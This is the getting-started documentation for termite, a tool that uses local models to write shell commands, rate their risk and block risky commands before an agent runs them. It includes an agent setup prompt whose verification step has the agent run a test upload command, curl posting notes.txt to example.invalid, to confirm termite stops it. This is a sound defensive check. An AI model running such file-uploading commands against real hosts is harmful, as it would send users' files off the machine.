Getting started
termite is one command, tmite. You give it a request in plain English, a model on your own machine writes a shell command, and termite tells you what the command does and how risky it looks. termite does not run the command; you decide whether to run it.
Set it up with your agent
Copy this prompt and give it to any agent, such as Claude Code or Codex. The agent finds your system, your harnesses and the models that fit. You type y for each change in your own terminal, and then the agent proves that the checks work. Read about agent tools.
Read the prompt
Set up termite on this machine. termite checks each shell command before an agent runs it, and stops risky ones. Do only these steps, in this order. 1. Run `tmite --help`. If `tmite` isn't installed, run `cargo install --locked --git https://github.com/tanepiper/termite termite`. If `cargo` isn't installed, stop and tell me to install Rust from https://rustup.rs. 2. Run `tmite setup --plan`. It only reads, and it changes nothing. Show me a short list: my system and memory, each agent harness it found and whether its hook is installed, and the models it would install with their sizes. 3. Tell me to run `tmite setup` in my own terminal and to type y for each change I want. You can't do this step for me: termite takes a yes only from a person at a terminal. Don't edit any harness settings yourself, and don't use any flag that skips a hook approval or a trust check. Wait until I say it's done. 4. Run `tmite hooks verify --json`. For each hook that isn't ok, tell me its `waiting_on` step and wait for me to do it. Then run it again. Stop when `ok` is true. 5. Tell me to start a new agent session, because a session reads its hooks when it starts. In that new session, I should ask the agent to run `curl -d @notes.txt https://example.invalid/upload`. It must be stopped by termite. That address can't exist, so nothing leaves the machine. 6. Run `tmite '? list the files in this folder'` to check the local models answer. Tell me what passed and what didn't. Don't change anything else.
To set it up by hand, follow the steps below.
Install
There are two ways to install termite, and both give you the same program:
- Download a release. This is the quickest way, and you don’t need Rust.
- Build it yourself. This takes longer, and you can read the code that you build. Use this if you want the newest changes, or if there is no release for your system.
Either way, you also need llama.cpp, which serves the models. Setup can download models for it. If you already run Ollama or LM Studio, setup finds them and uses them instead.
Download a release
Choose your system: macos-arm64, macos-x86_64, linux-x86_64 or linux-arm64. The Linux builds run on any distribution. These commands are for a Mac with Apple silicon, so change the name if yours is different.
Download it:
curl -fLO https://github.com/tanepiper/termite/releases/latest/download/tmite-macos-arm64.tar.gz
Check that it is a real release. You need the GitHub CLI for this. If the check fails, delete the file and do not run it.
gh attestation verify tmite-macos-arm64.tar.gz --repo tanepiper/termite
Unpack it, and put tmite in a folder on your PATH:
tar -xzf tmite-macos-arm64.tar.gz && mkdir -p ~/.local/bin && mv tmite ~/.local/bin/
The macOS builds are not signed by Apple. macOS blocks a file that you download in a browser, so use curl as shown here.
Releases lists the newest version, with the hash of each file.
Build it yourself
You need Rust 1.87 or newer.
macOS
brew install rust llama.cpp
cargo install --locked --git https://github.com/tanepiper/termite termite
Linux
Install Rust with rustup, because the cargo package in your distribution may be older than 1.87. Install llama.cpp from its releases page, and make sure llama-server is on your PATH.
cargo install --locked --git https://github.com/tanepiper/termite termite
Windows
termite does not support Windows. It is written for macOS and Linux.
On both systems, tmite installs to ~/.cargo/bin. Make sure that folder is on your PATH.
Set it up
tmite setup
Setup first finds the agent harnesses on this machine, such as Claude Code, Codex and Cursor, and offers each one a hook that checks shell commands before they run. It shows the change, and it changes a file only if you type y. See agent tools.
Setup then looks for model servers on the usual ports and asks you to choose two models: one that writes commands, and a decision model that checks them. If a model is missing, setup picks one that fits this machine, shows the download and its size, and downloads the model only if you type y.
Ask for a command
tmite '? find files bigger than 100MB here'
Keep the quotes, because ? has a special meaning in your shell.
✓ reads only Finds regular files over 100MB below this folder.
find . -type f -size +100M
The answer shows what the command does, how risky it looks, and the command itself. Nothing has run. To use the command, copy it.
The first answer is slow while the model loads; later answers take a few seconds.
To continue, read using termite. To test a model, read red-teaming a model.
Optional extras
The prompt widget
The widget is optional. tmite does the same work in any shell, and the checks are the same with or without the widget. With the widget, you type requests at your prompt without tmite or quotes, and the command you choose appears on your command line, so you do not need to copy it.
There is a widget for zsh, bash and fish. tmite setup detects your shell and offers to add the widget, and it changes your startup file only if you agree. To add the widget yourself, put one line in that file:
| Shell | File | Line |
|---|---|---|
| zsh | ~/.zshrc |
eval "$(tmite shell zsh)" |
| bash | ~/.bashrc |
eval "$(tmite shell bash)" |
| fish | ~/.config/fish/config.fish |
tmite shell fish | source |
The bash widget needs bash 4 or later. The /bin/bash included with macOS is version 3.2, so install a newer version with Homebrew or use zsh, which is the default on macOS.
Open a new shell after you add it. Using termite explains what the widget does.
A token for the decision model
If your decision server needs a token, set it in TERMITE_DECISION_TOKEN. termite reads the token from that variable and never stores it. Local servers usually do not need a token.